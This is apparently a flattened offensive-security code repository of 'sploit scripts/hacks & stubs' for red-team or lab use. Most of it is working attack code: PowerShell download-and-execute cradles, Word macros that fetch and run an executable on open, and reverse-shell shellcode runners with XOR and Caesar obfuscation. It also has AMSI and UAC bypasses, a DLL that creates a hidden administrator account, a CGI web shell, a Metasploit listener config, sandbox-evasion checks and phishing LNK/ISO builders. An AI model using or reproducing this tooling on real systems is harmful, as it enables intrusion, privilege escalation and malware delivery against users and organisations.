├── README.md ├── psh ├── ReflectiveDllB64.ps1 ├── ReflectiveDllDisk.ps1 ├── ReflectiveDllFetch.ps1 ├── csharp_compile.ps1 ├── UAC-Bypass-fodhelper.ps1 ├── Invoke-LnkGen.ps1 ├── EncodeCaesar.ps1 ├── Invoke-IsoGen.ps1 ├── ReflectiveScRunnerLookup.ps1 ├── SqlCmd.ps1 ├── AmsiBypass-AmsiOpenSession.ps1 ├── AmsiBypass-AmsiScanBuffer.ps1 ├── ReflectiveScRunnerPInvoke.ps1 ├── ReflectiveScInject.ps1 ├── Invoke-Rbcd.ps1 ├── New-IsoFile.ps1 ├── BadWords.txt └── Test-LDAP.ps1 ├── perl ├── upload.pl ├── cmd.pl └── rundll.pl ├── wsh ├── Stub-DechainedWmi.vb ├── Stub-Sleep.vb ├── cmd.hta ├── Jscript-Cmd.xsl ├── Amsi-Enable-Bypass.js ├── Stub-DecimalDecryptor.vb ├── Amsi-Imposter-Bypass.js ├── PshDownloadExec.vb ├── Stub-Dechained-02.vb ├── DownloadAlt.vb ├── InMemoryWin32CreateThread.vb ├── RunnerDecimalObfsNameCheck.vb ├── DownloadExec.vb ├── InMemoryWin32CreateThread-SleepyCaesar.vb ├── g2js-vbascriptb64_template.vba └── g2js-htascript_template.hta ├── csharp ├── Sleep.cs ├── Guardrail-FlsAlloc.cs ├── ClassReflectiveDllPoc.cs ├── Guardrail-ExNuma.cs ├── Telerik-MixedMode-Assembly-Runner.cs ├── SharpResolver.cs ├── SharpHttpFetch.cs ├── GzipBuffer.cs ├── Reflective-Dll-Runner.cs ├── Reflective-PE-Runner.cs ├── Guardrail-MininumBrowsersChecker.cs ├── AddUserAdmin.cs ├── ClassSayMyName.cs ├── ScRunner.cs ├── SharpDllPoc.cs ├── UninstallerRunspaceBypass.cs ├── UninstallerReflectiveDllLoader.cs ├── UninstallerReflectivePELoader.cs ├── DllInject.cs ├── RunspaceBypass.cs ├── ScInject.cs ├── PsExecLess.cs ├── XorString.cs ├── BufferOverflowPoc.cs └── DInvokeScRunner.cs ├── py ├── rundll.py ├── request_shell.py └── DotNetNuke-Cookie-Deserialization.py ├── conf ├── apache-ssl.conf ├── msf-https-listener.rc └── nginx-redirector.conf ├── c ├── Guardrail-isDomainJoined.c ├── exec_dll-winapi.c ├── ScRunnerCaesar.c ├── ScRunner.c ├── ScXorEncoder.c ├── ScRunnerXor.c ├── ScCaesarEncoder.c ├── exec_dll-apientry.c ├── SharedPreLoad.c └── windows │ ├── xor_test.c │ └── inflate.c ├── cpp ├── Guardrail-SayMyName.cpp ├── DllScInject.cpp ├── DllScHollow.cpp └── CppCplRunner.cpp ├── msbuild ├── MSBuild-Csharp-x64.xml ├── WorflowCompilerXmlGenerator.ps1 ├── WorkflowCompiler-Reflective-PE-Runner.cs ├── MSBuild-RunspaceBypass-x64.xml ├── WorkFlowCompiler.xml ├── MSBuild-RunspaceBypass-Interactive-x64.xml └── MSBuild-Hollow-Runner-x64.xml ├── misc ├── HtmlSmuggling.html └── ScRunner.aspx └── infra └── Dockerfile.ollvm /README.md: -------------------------------------------------------------------------------- 1 | # arsenal 2 | 3 | miscellaneous sploit scripts/hacks & stubs 4 | -------------------------------------------------------------------------------- /psh/ReflectiveDllB64.ps1: -------------------------------------------------------------------------------- 1 | $b64 = "..." 2 | [System.Reflection.Assembly]::Load([Convert]::FromBase64String($b64)) 3 | [ClassMyMiniDump.Class1]::runner() 4 | -------------------------------------------------------------------------------- /perl/upload.pl: -------------------------------------------------------------------------------- 1 | #!/bin/perl 2 | use LWP::Simple; 3 | 4 | if ($#ARGV == 1) 5 | { 6 | print "saving " . $ARGV[0] . " as " . $ARGV[1] . "\n"; 7 | print getstore($ARGV[0], $ARGV[1]); 8 | } -------------------------------------------------------------------------------- /psh/ReflectiveDllDisk.ps1: -------------------------------------------------------------------------------- 1 | $dll = [System.IO.File]::ReadAllBytes("C:\temp\evil.dll"); [System.Reflection.Assembly]::Load($dll); [System.Reflection.Assembly]::Load($dll) ; [ClassLibrary1.Class1]::runner() -------------------------------------------------------------------------------- /psh/ReflectiveDllFetch.ps1: -------------------------------------------------------------------------------- 1 | $dll = (new-object net.webclient).DownloadData("http://192.168.49.83/ClassLibrary1-x86.dll") 2 | [System.Reflection.Assembly]::Load($dll) 3 | [ClassLibrary1.Class1]::runner() 4 | -------------------------------------------------------------------------------- /wsh/Stub-DechainedWmi.vb: -------------------------------------------------------------------------------- 1 | Sub MyMacro 2 | strArg = "powershell" 3 | GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid 4 | End Sub 5 | 6 | Sub AutoOpen() 7 | MyMacro 8 | End Sub -------------------------------------------------------------------------------- /csharp/Sleep.cs: -------------------------------------------------------------------------------- 1 | static extern void Sleep(uint dwMilliseconds); 2 | // main 3 | DateTime t1 = DateTime.Now; 4 | Sleep(2000); 5 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 6 | if (t2 < 1.5) 7 | { 8 | return; 9 | } 10 | -------------------------------------------------------------------------------- /wsh/Stub-Sleep.vb: -------------------------------------------------------------------------------- 1 | ' sleep 2 | Dim t1 As Date 3 | Dim t2 As Date 4 | Dim time As Long 5 | 6 | t1 = Now() 7 | Sleep (2000) 8 | t2 = Now() 9 | time = DateDiff("s", t1, t2) 10 | If time < 2 Then 11 | Exit Function 12 | End If -------------------------------------------------------------------------------- /psh/csharp_compile.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -OutputAssembly hello.exe -TypeDefinition @' 2 | using System; 3 | 4 | public class Hello { 5 | public static void Main(string[] Args) { 6 | System.Console.WriteLine("yolo"); 7 | } 8 | } 9 | '@ -------------------------------------------------------------------------------- /perl/cmd.pl: -------------------------------------------------------------------------------- 1 | #!/bin/perl 2 | print "HTTP/1.0 200 OK\n"; 3 | print "Content-Type: text/html\n\n\n"; 4 | 5 | my $color = $ENV{QUERY_STRING}; 6 | chomp ($color); 7 | $color =~ s/%20/ /g; 8 | $color =~ s/%3b/;/g; 9 | 10 | system $color; 11 | exit(0); -------------------------------------------------------------------------------- /py/rundll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # source: https://twitter.com/chvancooten/status/1418969800823513093 3 | # execute unmanaged dll via its EntryPoint, context will be python.exe 4 | import ctypes 5 | 6 | result = ctypes.WinDLL("c:\\windows\\tasks\\exec.dll") 7 | result.Update() 8 | 9 | quit() -------------------------------------------------------------------------------- /csharp/Guardrail-FlsAlloc.cs: -------------------------------------------------------------------------------- 1 | [DllImport("kernel32.dll", SetLastError = true)] 2 | static extern IntPtr FlsAlloc(IntPtr callback); 3 | static void Main(string[] args) 4 | { 5 | IntPtr mem = FlsAlloc(IntPtr.Zero); 6 | if (mem == null) 7 | { 8 | return; 9 | } 10 | [...] -------------------------------------------------------------------------------- /wsh/cmd.hta: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | 9 | Test 10 | 13 | 14 | -------------------------------------------------------------------------------- /psh/UAC-Bypass-fodhelper.ps1: -------------------------------------------------------------------------------- 1 | New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "c:\users\vic\desktop\hollow.exe" –Force 2 | 3 | New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force 4 | 5 | C:\Windows\System32\fodhelper.exe 6 | -------------------------------------------------------------------------------- /perl/rundll.pl: -------------------------------------------------------------------------------- 1 | use Win32::API; 2 | 3 | # rundll32.pl - load dll with perl 4 | # @thelikes_ 5 | # help: https://stackoverflow.com/questions/45059300/win32api-giving-wrong-prototype-error 6 | # sample dll: https://github.com/thelikes/arsenal/blob/main/c/exec_dll-2.c 7 | 8 | $function = Win32::API->new("c:\\payloads\\exec_dll\\output\\exec_dll64.dll", "DllMain",[ 'N', 'P', 'P' ], 'N', '__cdecl'); 9 | 10 | exit(0); -------------------------------------------------------------------------------- /wsh/Jscript-Cmd.xsl: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /wsh/Amsi-Enable-Bypass.js: -------------------------------------------------------------------------------- 1 | var sh = new ActiveXObject('WScript.Shell'); 2 | var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"; 3 | try{ 4 | var AmsiEnable = sh.RegRead(key); 5 | if(AmsiEnable!=0){ 6 | throw new Error(1, ''); 7 | } 8 | }catch(e){ 9 | sh.RegWrite(key, 0, "REG_DWORD"); 10 | sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName,0,1); 11 | sh.RegWrite(key, 1, "REG_DWORD"); 12 | WScript.Quit(1); 13 | } -------------------------------------------------------------------------------- /wsh/Stub-DecimalDecryptor.vb: -------------------------------------------------------------------------------- 1 | Function Pears(Beets) 2 | Pears = Chr(Beets - 17) 3 | End Function 4 | 5 | Function Strawberries(Grapes) 6 | Strawberries = Left(Grapes, 3) 7 | End Function 8 | 9 | Function Almonds(Jelly) 10 | Almonds = Right(Jelly, Len(Jelly) - 3) 11 | End Function 12 | 13 | Function Nuts(Milk) 14 | Do 15 | Oatmilk = Oatmilk + Pears(Strawberries(Milk)) 16 | Milk = Almonds(Milk) 17 | Loop While Len(Milk) > 0 18 | Nuts = Oatmilk 19 | End Function -------------------------------------------------------------------------------- /csharp/ClassReflectiveDllPoc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | /* 4 | * DLL PoC 5 | * Psh reflective load: 6 | * > $dll = [System.IO.File]::ReadAllBytes("C:\MsgLib\bin\x64\Release\MsgLib.dll"); [System.Reflection.Assembly]::Load($dll); [System.Reflection.Assembly]::Load($dll) ; [MsgLib.MsgClass]::Start() 7 | */ 8 | 9 | namespace MsgLib 10 | { 11 | public class MsgClass 12 | { 13 | public static void Start() 14 | { 15 | Console.WriteLine("Executed!"); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /wsh/Amsi-Imposter-Bypass.js: -------------------------------------------------------------------------------- 1 | var filesys= new ActiveXObject("Scripting.FileSystemObject"); 2 | var sh = new ActiveXObject('WScript.Shell'); 3 | try 4 | { 5 | if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll")==0) 6 | { 7 | throw new Error(1, ''); 8 | } 9 | } 10 | catch(e) 11 | { 12 | filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll"); 13 | sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName); 14 | WScript.Quit(1); 15 | } -------------------------------------------------------------------------------- /psh/Invoke-LnkGen.ps1: -------------------------------------------------------------------------------- 1 | # https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk 2 | 3 | $obj = New-object -comobject wscript.shell 4 | # output file 5 | $link = $obj.createshortcut("c:\payloads\nobelium\Documents.lnk") 6 | $link.windowstyle = "7" 7 | $link.targetpath = "C:\Windows\System32\cmd.exe" 8 | # predefined lnk icon 9 | $link.iconlocation = "C:\program files (x86)\microsoft\edge\application\msedge, 13" 10 | # command to execute 11 | $link.arguments = '/c "start https://example.com/legit.pdf && rundll32 .\evil.dll,DllMain"' 12 | $link.save() 13 | -------------------------------------------------------------------------------- /csharp/Guardrail-ExNuma.cs: -------------------------------------------------------------------------------- 1 | class Program { 2 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 3 | 4 | [DllImport("kernel32.dll")] 5 | static extern IntPtr GetCurrentProcess(); 6 | 7 | static void Main(string[] args) 8 | { 9 | IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4,0); 10 | if (mem == null) 11 | { 12 | // bail 13 | return; 14 | } 15 | 16 | // now do stuff 17 | return; 18 | } 19 | } -------------------------------------------------------------------------------- /psh/EncodeCaesar.ps1: -------------------------------------------------------------------------------- 1 | $payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))" 2 | 3 | [string]$output = "" 4 | 5 | $payload.ToCharArray() | %{ 6 | [string]$thischar = [byte][char]$_ + 17 7 | if($thischar.Length -eq 1) 8 | { 9 | $thischar = [string]"00" + $thischar 10 | $output += $thischar 11 | } 12 | elseif($thischar.Length -eq 2) 13 | { 14 | $thischar = [string]"0" + $thischar 15 | $output += $thischar 16 | } 17 | elseif($thischar.Length -eq 3) 18 | { 19 | $output += $thischar 20 | } 21 | } 22 | 23 | Write-Host $output -------------------------------------------------------------------------------- /conf/apache-ssl.conf: -------------------------------------------------------------------------------- 1 | # enable ssh module 2 | # a2enmod ssl 3 | 4 | # /etc/sites-available/somesite.conf 5 | 6 | 7 | ServerName some.site.com 8 | ServerAdmin webmaster@localhost 9 | 10 | DocumentRoot /var/www/html/ 11 | DirectoryIndex index.php index.html 12 | 13 | ErrorLog ${APACHE_LOG_DIR}/web_delivery-www-error.log 14 | CustomLog ${APACHE_LOG_DIR}/web_delivery-www-access.log combined 15 | 16 | SSLEngine on 17 | SSLCertificateFile /etc/letsencrypt/live/some.site.com/fullchain.pem 18 | SSLCertificateKeyFile /etc/letsencrypt/live/some.site.com/privkey.pem 19 | 20 | -------------------------------------------------------------------------------- /conf/msf-https-listener.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/x64/meterpreter/reverse_winhttps 3 | set LHOST fw.vaultsec.xyz 4 | set LPORT 443 5 | set EXITFUNC thread 6 | set verbose true 7 | set EnableStageEncoding true 8 | set StageEncoder x64/xor_dynamic 9 | set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.42" 10 | set HttpServerName Nginx 11 | set HandlerSSLCert /etc/letsencrypt/live/fw.vaultsec.xyz/unified.pem 12 | set HttpUnknownRequestResponse "

zzz

" 13 | set HttpCookie "PHPSESS: 112391323913" 14 | set HttpReferer "https://fw.vaultsec.xyz/status?t=1aIIt2313" 15 | set ExitOnSession false 16 | exploit -j 17 | -------------------------------------------------------------------------------- /c/Guardrail-isDomainJoined.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | /* 7 | * Guardrail to determine if a system is domain joined. 8 | * @thelikes 9 | */ 10 | 11 | bool isDomainJoined() { 12 | DWORD bufSize = MAX_PATH; 13 | TCHAR domainNameBuf[ MAX_PATH ]; 14 | 15 | GetComputerNameEx( ComputerNameDnsDomain, domainNameBuf, &bufSize ); 16 | 17 | //printf("name: %s", domainNameBuf); 18 | 19 | if (domainNameBuf[0] != '\0') 20 | { 21 | return true; 22 | } 23 | 24 | return false; 25 | } 26 | 27 | int main() { 28 | if (isDomainJoined()) { 29 | printf("true"); 30 | } else { 31 | printf("false"); 32 | } 33 | 34 | return 0; 35 | } -------------------------------------------------------------------------------- /psh/Invoke-IsoGen.ps1: -------------------------------------------------------------------------------- 1 | # source: https://gist.githubusercontent.com/mgraeber-rc/a780834c983bc0d53121c39c276bd9f3/raw/94e9e4b685f03bb0dadc5a6516948c1c55c5e080/SimulateInternetZoneTest.ps1 2 | 3 | # Usage: 4 | # 1) create a directory and populate its contents with files intended to be enclosed in the ISO/IMG 5 | # 2) configure the image name, parcel title, and iso directory 6 | # 3) run 7 | $eviliso = "Documents.iso" 8 | $isodir = "Documents" 9 | $parceltitle = "Documents" 10 | 11 | # Create an ISO file from the $isodir directory. 12 | (New-Object net.webclient).DownloadString('https://raw.githubusercontent.com/wikijm/PowerShell-AdminScripts/master/Miscellaneous/New-IsoFile.ps1')|iex 13 | ls -Force $isodir | New-IsoFile -Path $eviliso -Media CDR -Title $parceltitle 14 | -------------------------------------------------------------------------------- /cpp/Guardrail-SayMyName.cpp: -------------------------------------------------------------------------------- 1 | // SOURCE: https://gist.github.com/benheise/ad7f2adb605a7ec216a506e821705a06 2 | // quick and dirty C++ execution guardrail on executing process file name, inspired by @0xHop av evasion post 3 | // https://0xhop.github.io/evasion/2021/04/19/evasion-pt1/ 4 | 5 | #include 6 | #include 7 | 8 | 9 | // Hide the console window 10 | //ShowWindow (GetConsoleWindow(), SW_HIDE); 11 | 12 | // compare current and expected process name, exit if they don't match (ie executing in a sandbox) 13 | TCHAR szName[MAX_PATH]; 14 | char ourName[] = "evade.exe"; 15 | GetModuleBaseName(GetCurrentProcess(), GetModuleHandle(NULL), szName, MAX_PATH); 16 | 17 | // if they dont match, exit. otherwise get this party started 18 | if (strcmp(ourName, szName) != 0) { 19 | exit(STATUS_SUCCESS); 20 | } -------------------------------------------------------------------------------- /msbuild/MSBuild-Csharp-x64.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /c/exec_dll-winapi.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // compile: 6 | // "c:\MinGW\bin\mingw32-g++.exe" -Wall -DBUILD_DLL -O2 -c exec_dll.c -o exec_dll.o 7 | // "c:\MinGW\bin\mingw32-g++.exe" -shared -Wl,--dll exec_dll.o -o exec_dll.dll 8 | 9 | int Exploit() 10 | { 11 | WinExec("cmd.exe /c net user spook Summer2021! /add",0); 12 | WinExec("cmd.exe /c net localgroup administrators spook /add", 0); 13 | return 0; 14 | } 15 | 16 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 17 | { 18 | switch (fdwReason) 19 | { 20 | case DLL_PROCESS_ATTACH: 21 | Exploit(); 22 | break; 23 | case DLL_THREAD_ATTACH: 24 | break; 25 | case DLL_THREAD_DETACH: 26 | break; 27 | case DLL_PROCESS_DETACH: 28 | break; 29 | } 30 | return TRUE; 31 | } -------------------------------------------------------------------------------- /c/ScRunnerCaesar.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main (int argc, char **argv) 6 | { 7 | unsigned char buf[] = "\x4C\x35\x03\x6E\x0D\x5C\x9D\xBA\x14\x4C\x8D\xDA\x51\x35\xCD\x6E\x26\x45\x5E\xB6\x0B\x13\x09\x4C\x89\xC4\x7C\x55\x6E\x0E\x45\x5D\x54\x6E\x2D\x5C\x9D\x6E\x06\x63\x6E\x05\x62\x13\x09\x4C\x89\xC4\x7C\x3F\x4C\x9B\x4C\xBD\x06\x04\x23\x94\xC4\xAC\x35\x57\x55\x4C\x8D\xEA\x6E\x14\x5E\x6E\x2E\x5C\x13\x09\x5D\x4C\x89\xC4\x7D\x29\x4D\x03\xCD\x78\x1C\x5B\x6E\x27\x5C\x6E\x04\x6E\x09\x4C\x8D\xEB\x4C\x35\xFA\x13\x09\x5D\x5D\x63\x4C\x89\xC4\x7D\xCB\x6E\x40\x5C\x6E\x05\x63\x13\x09\x62\x6E\x82\x5E\x13\x09\x4C\x89\xC4\x7C\xF1\x03\xEA\x04"; 8 | int buflen = (int) sizeof(buf); 9 | 10 | for (int i=0; i 2 | #include 3 | #include 4 | 5 | // compile 6 | // gcc -o ScRunner.out ScRunner.c -z execstack 7 | 8 | int main (int argc, char **argv) 9 | { 10 | unsigned char buf[] = 11 | "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" 12 | "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a" 13 | "\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" 14 | "\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x00\x50\xc0\xa8" 15 | "\x31\x53\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59" 16 | "\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a" 17 | "\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48" 18 | "\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e" 19 | "\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; 20 | 21 | int (*ret)() = (int(*)())buf; 22 | ret(); 23 | } 24 | -------------------------------------------------------------------------------- /wsh/PshDownloadExec.vb: -------------------------------------------------------------------------------- 1 | Sub Document_Open() 2 | MyMacro 3 | End Sub 4 | 5 | Sub AutoOpen() 6 | MyMacro 7 | End Sub 8 | 9 | Sub MyMacro() 10 | Dim str As String 11 | str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.83/esrl.exe','esrl.exe')" 12 | Shell str, vbHide 13 | 14 | ' Luckily, downloaded content will end up in the current folder of the Word document and we can obtain the path name with the ActiveDocument.Path 15 | Dim exePath As String 16 | ' Word 17 | exePath = ActiveDocument.Path + "\esrl.exe" 18 | ' Excel 19 | ' exePath = Application.ActiveWorkbook.path + "\esrl.exe" 20 | Wait (2) 21 | Shell exePath, vbHide 22 | End Sub 23 | 24 | ' introduce delay as download time my vary 25 | Sub Wait(n As Long) 26 | Dim t as Date 27 | t = Now 28 | Do 29 | DoEvents 30 | Loop Until Now >= DateAdd("s", n, t) 31 | End Sub -------------------------------------------------------------------------------- /csharp/Telerik-MixedMode-Assembly-Runner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Configuration.Install; 3 | using System.Collections; 4 | using System.Collections.Specialized; 5 | 6 | // can be used to test mixed mode assembly payloads for the Telerik UI RCE (https://github.com/noperator/CVE-2019-18935) 7 | // usage: .\TestAssemblyInstaller.exe payloads\reverse-shell-2021040215111429-amd64.dll 8 | 9 | namespace TestAssemblyInstaller 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string path = args[0]; 16 | string[] commandLineOptions = new string[0]; 17 | 18 | using (var installer = new AssemblyInstaller(path, commandLineOptions)) 19 | { 20 | installer.UseNewContext = true; 21 | installer.Install(null); 22 | installer.Commit(null); 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /c/ScXorEncoder.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned char buf[] = 6 | "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" 7 | "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a" 8 | "\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" 9 | "\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x00\x50\xc0\xa8" 10 | "\x31\x53\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59" 11 | "\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a" 12 | "\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48" 13 | "\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e" 14 | "\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; 15 | 16 | int main (int argc, char **argv) 17 | { 18 | char xor_key = 'J'; 19 | int payload_length = (int) sizeof(buf); 20 | 21 | for (int i=0; i 2 | #include 3 | #include 4 | 5 | // compile 6 | // gcc -o ScRunner.out ScRunner.c -z execstack 7 | 8 | 9 | int main (int argc, char **argv) 10 | { 11 | unsigned char buf[] = "\x02\x7B\xB5\x20\x43\x12\xD3\xFC\x5A\x02\xC3\x9C\x07\x7B\x83\x20\x68\x0B\x10\xF8\x4D\x45\x4F\x02\xCF\x8A\x32\x1B\x20\x40\x0B\x13\x1A\x20\x63\x12\xD3\x20\x48\x15\x20\x4B\x14\x45\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48\x4A\x4A\x1A\x8A\xE2\x7B\x19\x1B\x02\xC3\xAC\x20\x5A\x10\x20\x60\x12\x45\x4F\x13\x02\xCF\x8A\x33\x6F\x03\xB5\x83\x3E\x52\x1D\x20\x69\x12\x20\x4A\x20\x4F\x02\xC3\xAD\x02\x7B\xBC\x45\x4F\x13\x13\x15\x02\xCF\x8A\x33\x8D\x20\x76\x12\x20\x4B\x15\x45\x4F\x14\x20\x34\x10\x45\x4F\x02\xCF\x8A\x32\xA7\xB5\xAC\x4A"; 12 | 13 | char xor_key = 'J'; 14 | int arraysize = (int) sizeof(buf); 15 | for (int i=0; i dt): Loop 17 | objFSO.DeleteFile p 18 | -------------------------------------------------------------------------------- /c/ScCaesarEncoder.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main (int argc, char **argv) 6 | { 7 | unsigned char buf[] = 8 | "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" 9 | "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a" 10 | "\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" 11 | "\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x1f\x90\xc0\xa8" 12 | "\x31\x53\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59" 13 | "\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a" 14 | "\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48" 15 | "\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e" 16 | "\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; 17 | int buflen = (int) sizeof(buf); 18 | 19 | printf("buflen: %d\n", buflen); 20 | 21 | printf("Encoded: "); 22 | for (int i=0; i] SharpResolver.exe "); 13 | return; 14 | } 15 | 16 | string iLib = args[0]; 17 | string iFun = args[1]; 18 | 19 | IntPtr loadlib = GetProcAddress(LoadLibrary(iLib), iFun); 20 | 21 | Console.WriteLine("[>] Resolving: " + iLib + "!" + iFun); 22 | Console.WriteLine(string.Format("[>] Address: 0x{0:X}", loadlib.ToInt32())); 23 | } 24 | [DllImport("kernel32")] 25 | public static extern IntPtr LoadLibrary(string name); 26 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 27 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /psh/ReflectiveScRunnerLookup.ps1: -------------------------------------------------------------------------------- 1 | $Kernel32 = @" 2 | using System; 3 | using System.Runtime.InteropServices; 4 | 5 | public class Kernel32 { 6 | [DllImport("kernel32")] 7 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 8 | [DllImport("kernel32", CharSet=CharSet.Ansi)] 9 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 10 | [DllImport("kernel32.dll", SetLastError=true)] 11 | public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 12 | } 13 | "@ 14 | 15 | Add-Type $Kernel32 16 | 17 | [Byte[]] $buf = 0xfc,[...],0xd5 18 | 19 | $size = $buf.Length 20 | 21 | [IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); 22 | 23 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size) 24 | 25 | $thandle = [Kernel32]::CreateThread(0,0,$addr,0,0,0); 26 | 27 | [Kernel32]::WaitForSingleObject($tHandle, [uint32]"0xFFFFFFFF") -------------------------------------------------------------------------------- /msbuild/WorflowCompilerXmlGenerator.ps1: -------------------------------------------------------------------------------- 1 | $workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe" 2 | 3 | $workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe) 4 | 5 | $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static') 6 | 7 | Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll' 8 | 9 | $compilerparam = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters 10 | 11 | $compilerparam.GenerateInMemory = $True 12 | 13 | $pathvar = "test.txt" 14 | $output = "C:\Tools\run.xml" 15 | 16 | $tmp = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerparam, [String[]] @(,$pathvar))) 17 | 18 | Move-Item $tmp $output 19 | 20 | $Acl = Get-ACL $output;$AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule(“student”,”FullControl”,”none”,”none","Allow");$Acl.AddAccessRule($AccessRule);Set-Acl $output $Acl -------------------------------------------------------------------------------- /psh/SqlCmd.ps1: -------------------------------------------------------------------------------- 1 | $Target = "tar.dom.local" 2 | $Link = "SQL01" 3 | $Command = "calc.exe" 4 | 5 | $sqlConnection = New-Object System.Data.SqlClient.SqlConnection 6 | $sqlConnection.ConnectionString = "Server=$Target;Database=master;Integrated Security=True" 7 | $sqlConnection.Open() 8 | $sqlCmd = New-Object 